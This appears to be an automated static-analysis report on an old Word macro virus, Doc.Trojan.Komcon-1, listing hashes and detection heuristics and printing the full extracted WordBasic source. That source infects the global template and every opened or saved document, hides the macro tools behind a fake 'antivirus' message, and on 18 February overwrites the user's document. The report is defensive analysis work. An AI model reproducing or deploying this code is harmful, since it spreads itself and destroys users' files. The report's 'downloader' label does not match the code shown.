Doc.Trojan.Komcon-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 4a6fed06a8a6f0a7…

MALICIOUS

Office (OLE)

45.5 KB Created: 1999-09-07 10:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3456114a1f46263e1e61d9191fcb34a6 SHA-1: 5654acae39898beb3e7de012d803f99626ee25e0 SHA-256: 4a6fed06a8a6f0a7cb55a4fba1a4e6d975d16514a1700cdd568f3e668f806132
188 Risk Score

Malware Insights

Doc.Trojan.Komcon-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro markers and a critical ClamAV detection for 'Doc.Trojan.Komcon-1'. The AutoOpen macro copies other macros such as 'ToolsMacro' and 'FileOpen' into the global macro storage, indicating an attempt to execute malicious code. This behavior is consistent with a macro-based downloader designed to fetch and execute further stages.

Heuristics 4

  • ClamAV: Doc.Trojan.Komcon-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Komcon-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoopen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5058 bytes
SHA-256: 40703b1843b2f2c68b99f56cc35064204a148d39d2a054e778d36e0371f70afc
Detection
ClamAV: Doc.Trojan.Komcon-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"

'============================
' (C) Tanto Prihartanto, 1998
'============================
Public Sub MAIN()
Dim dokumen$
Dim stmacro$
dokumen$ = WordBasic.[FileName$]()
stmacro$ = dokumen$ + ":autoopen"
WordBasic.MacroCopy stmacro$, "Global:RAO"
stmacro$ = dokumen$ + ":RTM"
WordBasic.MacroCopy stmacro$, "Global:ToolsMacro"
stmacro$ = dokumen$ + ":RFO"
WordBasic.MacroCopy stmacro$, "Global:FileOpen"
stmacro$ = dokumen$ + ":RFS"
WordBasic.MacroCopy stmacro$, "Global:Filesave"
stmacro$ = dokumen$ + ":RFT"
WordBasic.MacroCopy stmacro$, "Global:FileTemplates"
'stmacro$ = dokumen$ + ":RFT"
'MacroCopy stmacro$, "Global:Filetemplates"
WordBasic.FileSaveAll 1, 1
End Sub

Attribute VB_Name = "RFO"

Public Sub MAIN()
Dim dokumen$
Dim tanggal
Dim bulan
Dim jml
Dim sname$
Dim j
Dim i
Dim stmacro$
WordBasic.DisableInput
WordBasic.DisableAutoMacros 1
On Error GoTo -1: On Error GoTo done
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
dokumen$ = WordBasic.[FileName$]()
tanggal = WordBasic.Day(WordBasic.Now())
bulan = WordBasic.Month(WordBasic.Now())
If (tanggal = 18) And (bulan = 2) Then GoTo pl
jml = WordBasic.CountMacros(1)
If jml = 0 Then GoTo tulari
sname$ = WordBasic.[MacroFileName$]("RAE")
If smane$ = dokumen$ Then GoTo done
ReDim mname__$(jml)
For j = 1 To jml
  mname__$(j) = WordBasic.[MacroName$](j, 1)
Next j
For i = 1 To jml
   WordBasic.Organizer Delete:=1, Source:=dokumen$, Name:=mname__$(i), Tab:=3
   WordBasic.PrintStatusBar "Deletting macro " + mname__$(i)
Next i
GoTo tulari
pl:
 
Dim pesannya$
pesannya$ = "Rupanya Anda sedang sial........, Dokumen Anda kini " + _
"hilang. Ini bukan perbuatan Anda tapi ulah saya." + _
" Selamat Ngetik lagi...semoga Anda masih punya Back-upnya"
WordBasic.FileClose 2
WordBasic.FileNew Template:="Normal"
WordBasic.Font "Arial"
WordBasic.JustifyPara
WordBasic.FontSize 11
WordBasic.Insert "Salam krisis..."
WordBasic.InsertPara
WordBasic.Insert pesannya$
WordBasic.InsertPara
WordBasic.InsertPara
WordBasic.InsertPara
WordBasic.InsertPara
WordBasic.RightPara
WordBasic.Bold
WordBasic.FontSize 13
WordBasic.Insert "(C) Semarang, May 1998"
WordBasic.InsertPara
WordBasic.RightPara
WordBasic.Insert "Rosw@ti"
WordBasic.FileSaveAs Name:=dokumen$, Format:=1
WordBasic.PrintStatusBar " Penghancuran dokumen telah dilakukan dengan sukses....."
GoTo done
tulari:
WordBasic.FileSaveAs Name:=dokumen$, Format:=1
stmacro$ = dokumen$ + ":autoopen"
WordBasic.MacroCopy "Global:RAO", stmacro$
stmacro$ = dokumen$ + ":RFO"
WordBasic.MacroCopy "Global:FileOpen", stmacro$
stmacro$ = dokumen$ + ":RFS"
WordBasic.MacroCopy "Global:FileSave", stmacro$
'stmacro$ = dokumen$ + ":RAE"
'MacroCopy "Global:AutoExec", stmacro$
stmacro$ = dokumen$ + ":RFT"
WordBasic.MacroCopy "Global:FileTemplates", stmacro$
stmacro$ = dokumen$ + ":RTM"
WordBasic.MacroCopy "Global:ToolsMacro", stmacro$
WordBasic.Filesave
done:
End Sub


Attribute VB_Name = "RFS"

Public Sub MAIN()
Dim dokumen$
Dim pj
Dim loc_
Dim nama$
Dim dlg As Object
Dim jml
Dim sname$
Dim stmacro$
On Error GoTo -1: On Error GoTo done
dokumen$ = WordBasic.[FileName$]()
pj = Len(dokumen$)
loc_ = InStr(dokumen$, ".")
nama$ = WordBasic.[Left$](dokumen$, pj - loc_)
If Len(nama$) > 8 Then
  Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
  WordBasic.CurValues.FileSaveAs dlg
  WordBasic.Dialog.FileSaveAs dlg
  WordBasic.FileSaveAs dlg
  dokumen$ = WordBasic.[FileName$]()
End If
jml = WordBasic.CountMacros(1)
If jml = 0 Then GoTo tulari
sname$ = WordBasic.[MacroFileName$]("RAE")
If sname$ = dokumen$ Then GoTo done Else GoTo tulari
tulari:
WordBasic.FileSaveAs Name:=dokumen$, Format:=1
stmacro$ = dokumen$ + ":autoopen"
WordBasic.MacroCopy "Global:RAO", stmacro$
stmacro$ = dokumen$ + ":RFO"
WordBasic.MacroCopy "Global:FileOpen", stmacro$
stmacro$ = dokumen$ + ":RFS"
WordBasic.MacroCopy "Global:FileSave", stmacro$
'stmacro$ = dokumen$ + ":RAE"
'MacroCopy "Global:AutoExec", stmacro$
stmacro$ = dokumen$ + ":RFT"
WordBasic.MacroCopy "Global:FileTemplates", stmacro$
stmacro$ = dokumen$ + ":RTM"
WordBasic.MacroCopy "Global:ToolsMacro", stmacro$
done:
WordBasic.Filesave
End Sub

Attribute VB_Name = "RFT"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.RFT.MAIN"
WordBasic.DisableInput 1
End Sub

Attribute VB_Name = "RTM"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%565"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.RTM.MAIN"
WordBasic.MsgBox "Antivirus macro v.1.0.0 ", "by Rosw@ti"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.